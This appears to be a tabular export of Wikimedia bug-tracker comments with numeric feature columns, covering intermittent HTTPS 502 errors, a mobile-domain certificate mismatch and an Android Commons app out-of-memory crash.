Just for the record, the link was https://en.wikipedia.org/w/index.php?title=User_talk%3ARYasmeen_%28WMF%29&diff=586114761&oldid=586070808",,,1387067161,,PHID-USER-yif6nz5uhka5cnltixpc,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,False,,,15,True,0.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,16.0,5.0,0.0,9.0,0.0,0.0,0.0,2.0,3.0,0.0,3.0,0.0,9.0,9.0,5.0,0.0,3.0,0.0,9.0,0.0,3.0,3.0,2.0,2.0,0.0,0.0,0.0,3.4375,0.75,"(In reply to comment #13)
QUOTE

I can confirm that I received a ""502 Bad Gateway"" (nginx/1.1.19) today on enwiki when following a perfectly fine link.  The second time I followed the link, it took me where it was supposed to. 

Just for the record, the link was URL"
241265,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",MZMcBride: Has this happened recently?,,,1385134201,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.857142857142857,1.0,MZMcBride: Has this happened recently?
241258,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",501 --> 502 <sigh.,,,1380077480,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,2.142857142857143,1.0,501 --> 502 <sigh.
241248,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","yeah, had a 501 on meta itself (the whole page) twice this evening too. Looking at it through firebug I get multiple 502's from upload as I wander the sites (the best one to test I've found is the meta front page because it has a ton of images but I've seen 3-4 on random enWiki pages too and usually at least 1 if it has any images at all).",,,1380077458,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,False,,,4,True,2.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,15.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,6.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,1.0,1.0,7.0,0.0,10.0,15.0,1.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,1.0,1.0,0.0,2.0,0.0,3.317073170731707,0.7439024390243902,"yeah, had a 501 on meta itself (the whole page) twice this evening too. Looking at it through firebug I get multiple 502's from upload as I wander the sites (the best one to test I've found is the meta front page because it has a ton of images but I've seen 3-4 on random enWiki pages too and usually at least 1 if it has any images at all)."
241239,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",https://upload.wikimedia.org/wikipedia/mediawiki/9/91/Agora_specs.pdf gave me a 502 Bad Gateway error today.,,,1380075171,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,30.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,20.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,3.4,1.0,URL gave me a 502 Bad Gateway error today.
241233,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",They are repooled now and everything should be working. I'll close this as fixed. Please re-open if it's not.,,,1374563675,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,False,,,-6,True,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,0.9230769230769231,They are repooled now and everything should be working. I'll close this as fixed. Please re-open if it's not.
241227,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",I had to depool them due to issues with ipv6. I'll update the ticket when they are repooled.,,,1374539853,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,5.0,19.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,19.0,19.0,5.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.8571428571428571,I had to depool them due to issues with ipv6. I'll update the ticket when they are repooled.
241221,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","Two new ssl servers were just pooled in eqiad. We'll need to do this in esams eventually as well, but they have newer/better hardware. Please let me know if you're still having this issue.",,,1374538824,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,7.0,5.0,0.0,0.0,0.0,5.0,0.0,12.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,3.6904761904761907,0.9047619047619048,"Two new ssl servers were just pooled in eqiad. We'll need to do this in esams eventually as well, but they have newer/better hardware. Please let me know if you're still having this issue."
241216,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","Created attachment 12925
Capturing https://ganglia.wikimedia.org/latest/graph.php?r=year&z=xlarge&c=SSL+cluster+eqiad&m=cpu_report&s=by+name&mc=2&g=network_report for reference

**Attached**: {F11395}",,,1374530242,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.8333333333333334,"Created attachment 12925
Capturing URL for reference

**Attached**: {F11395}"
241210,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",It looks like traffic through the ssl cluster has doubled in the past month. eqiad hardware is being overloaded. We're adding some more nodes to the cluster.,,,1374525721,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,False,,,-6,True,3.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,6.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,4.225806451612903,0.8387096774193549,It looks like traffic through the ssl cluster has doubled in the past month. eqiad hardware is being overloaded. We're adding some more nodes to the cluster.
241205,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","Just got it on https://en.wikipedia.org/wiki/File:%22Modernism%22_oil_painting_by_Fred_Sexton,_circa_1940s.png. As usual, the page refresh fixed it.",,,1374523664,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.9285714285714286,"Just got it on URL As usual, the page refresh fixed it."
241199,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","Just got one of these on https://meta.wikimedia.org/wiki/User:MF-Warburg/abuse. Reloading fixed the issue.

The source was basically the same as in comment 1, but no <!-- html comments -->.",,,1374476771,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,12.0,0.0,3.0,12.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.323529411764706,0.9117647058823529,"Just got one of these on URL Reloading fixed the issue.

The source was basically the same as in comment 1, but no <!-- html comments -->."
241194,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","Created attachment 12910
Screenshot of 502 Bad Gateway error on https://en.wikipedia.org

**Attached**: {F11394}",,,1374429761,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6818181818181817,0.8636363636363636,"Created attachment 12910
Screenshot of 502 Bad Gateway error on URL

**Attached**: {F11394}"
241187,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","I just got this again at this URL: <https://en.wikipedia.org/w/index.php?title=Special:LinkSearch&limit=250&offset=0&target=http%3A%2F%2Ftoolserver.org%2F~mzmcbride%2Fcgi-bin%2Fwatcher>.

---
<html>
<head><title>502 Bad Gateway</title></head>
<body bgcolor=""white"">
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.1.19</center>
</body>
</html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
---

I'll upload a screenshot momentarily.",,,1374429679,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,1.5,4.0,0.0,3.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.5,0.0,3.5,5.0,0.0,0.0,3.5,0.0,8.0,0.5,0.0,0.0,1.0,4.0,6.0,0.0,0.5,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,16.5,3.6503496503496504,0.39294039294039296,"I just got this again at this URL: <URL

---
<html>
<head><title>502 Bad Gateway</title></head>
<body bgcolor=""white"">
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.1.19</center>
</body>
</html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
---

I'll upload a screenshot momentarily."
52748,en.mobile.wikipedia.org uses *.wikimedia.org cert,"**Author:** `lcarr`

**Description:**
https://en.mobile.wikipedia.org/wiki/Main_Page is an example page - 
It uses the *.wikimedia.org cert.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: https://en.mobile.wikipedia.org/wiki/Main_Page",Medium,50.0,1372947600,1420740845.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-5cjmbb3m3oil32kelayc,task_description,declined,True,c2,1,False,False,False,-8,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,0.4727272727272727,"**Author:** CODE

**Description:**
URL is an example page - 
It uses the *.wikimedia.org cert.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: URL"
396878,en.mobile.wikipedia.org uses *.wikimedia.org cert,I don't think I even knew that was a domain.,,,1420742775,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-5cjmbb3m3oil32kelayc,task_subcomment,,True,c2,3,True,,,71,True,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.9166666666666665,0.9166666666666666,I don't think I even knew that was a domain.
396858,en.mobile.wikipedia.org uses *.wikimedia.org cert,This is too much work & expensive to fix and for very little benefit (noone uses en.mobile anymore).,,,1420740845,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-5cjmbb3m3oil32kelayc,task_subcomment,,True,c2,3,True,,,71,True,5.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9523809523809526,1.0,This is too much work & expensive to fix and for very little benefit (noone uses en.mobile anymore).
232754,en.mobile.wikipedia.org uses *.wikimedia.org cert,This feels very dupey..,,,1372951475,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5cjmbb3m3oil32kelayc,task_subcomment,,True,c2,1,True,,,-8,True,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,This feels very dupey..
52733,app crashes with out-of-memory error soon after login,"The current Play store version and recent nightlies crash with a Java memory error soon after login.

I've replicated this on three different devices (Android 2.3.7, 4.1.1, and 4.2.2). It will crash, then attempt to start again and almost immediately crash again.

USER_COMMENT=after a minute or so of browsing my feed, app crashed.
ANDROID_VERSION=4.2.2
APP_VERSION_NAME=1.0beta9
BRAND=htc
PHONE_MODEL=One X
CUSTOM_DATA=
STACK_TRACE=java.lang.OutOfMemoryError
at java.io.ByteArrayOutputStream.toByteArray(ByteArrayOutputStream.java:122)
at com.android.volley.toolbox.BasicNetwork.entityToBytes(BasicNetwork.java:215)


USER_COMMENT=crashes soon after login
ANDROID_VERSION=2.3.7
APP_VERSION_NAME=1.0alpha1
BRAND=verizon_wwe
PHONE_MODEL=ADR6300
CUSTOM_DATA=
STACK_TRACE=java.lang.OutOfMemoryError
at com.android.volley.toolbox.ByteArrayPool.getBuf(ByteArrayPool.java:101)
at com.android.volley.toolbox.PoolingByteArrayOutputStream.<init>(PoolingByteArrayOutputStream.java:53)
at com.android.volley.toolbox.BasicNetwork.entityToBytes(BasicNetwork.java:202)
at com.android.volley.toolbox.BasicNetwork.performRequest(BasicNetwork.java:104)
at com.android.volley.NetworkDispatcher.run(NetworkDispatcher.java:105)


USER_COMMENT=
ANDROID_VERSION=4.1.1
APP_VERSION_NAME=1.0alpha1
BRAND=samsung
PHONE_MODEL=GT-I9100
CUSTOM_DATA=
STACK_TRACE=java.lang.OutOfMemoryError
    at com.android.volley.toolbox.ByteArrayPool.getBuf(ByteArrayPool.java:101)
    at com.android.volley.toolbox.PoolingByteArrayOutputStream.<init>(PoolingByteArrayOutputStream.java:53)
    at com.android.volley.toolbox.BasicNetwork.entityToBytes(BasicNetwork.java:202)
    at com.android.volley.toolbox.BasicNetwork.performRequest(BasicNetwork.java:104)
    at com.android.volley.NetworkDispatcher.run(NetworkDispatcher.java:105)

--------------------------
**Version**: unspecified
**Severity**: major",Medium,50.0,1372935600,1411418142.0,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,False,PHID-TASK-kx3n4wvpurjeadnltoje,task_description,declined,True,c2,1,False,False,False,-8,True,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,2.6666666666666665,7.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,12.333333333333334,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,18.333333333333332,0.0,1.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,3.0,0.0,1.0,7.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,1.0,7.820118478013215,0.5431191615402142,"The current Play store version and recent nightlies crash with a Java memory error soon after login.

I've replicated this on three different devices (Android 2.3.7, 4.1.1, and 4.2.2). It will crash, then attempt to start again and almost immediately crash again.

USER_COMMENT=after a minute or so of browsing my feed, app crashed.
ANDROID_VERSION=4.2.2
APP_VERSION_NAME=1.0beta9
BRAND=htc
PHONE_MODEL=One X
CUSTOM_DATA=
STACK_TRACE=java.lang.OutOfMemoryError
at java.io.ByteArrayOutputStream.toByteArray(ByteArrayOutputStream.java:122)
at com.android.volley.toolbox.BasicNetwork.entityToBytes(BasicNetwork.java:215)


USER_COMMENT=crashes soon after login
ANDROID_VERSION=2.3.7
APP_VERSION_NAME=1.0alpha1
BRAND=verizon_wwe
PHONE_MODEL=ADR6300
CUSTOM_DATA=
STACK_TRACE=java.lang.OutOfMemoryError
at com.android.volley.toolbox.ByteArrayPool.getBuf(ByteArrayPool.java:101)
at com.android.volley.toolbox.PoolingByteArrayOutputStream.<init>(PoolingByteArrayOutputStream.java:53)
at com.android.volley.toolbox.BasicNetwork.entityToBytes(BasicNetwork.java:202)
at com.android.volley.toolbox.BasicNetwork.performRequest(BasicNetwork.java:104)
at com.android.volley.NetworkDispatcher.run(NetworkDispatcher.java:105)


USER_COMMENT=
ANDROID_VERSION=4.1.1
APP_VERSION_NAME=1.0alpha1
BRAND=samsung
PHONE_MODEL=GT-I9100
CUSTOM_DATA=
STACK_TRACE=java.lang.OutOfMemoryError
    at com.android.volley.toolbox.ByteArrayPool.getBuf(ByteArrayPool.java:101)
    at com.android.volley.toolbox.PoolingByteArrayOutputStream.<init>(PoolingByteArrayOutputStream.java:53)
    at com.android.volley.toolbox.BasicNetwork.entityToBytes(BasicNetwork.java:202)
    at com.android.volley.toolbox.BasicNetwork.performRequest(BasicNetwork.java:104)
    at com.android.volley.NetworkDispatcher.run(NetworkDispatcher.java:105)

--------------------------
**Version**: unspecified
**Severity**: major"
231873,app crashes with out-of-memory error soon after login,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not be spending time fixing them.

For the full story, see this thread on mobile-l: https://lists.wikimedia.org/pipermail/mobile-l/2014-September/thread.html#7974",,,1411418142,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,3,False,,,55,True,2.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,3.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,21.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,13.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,3.9206349206349205,0.8095238095238095,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not 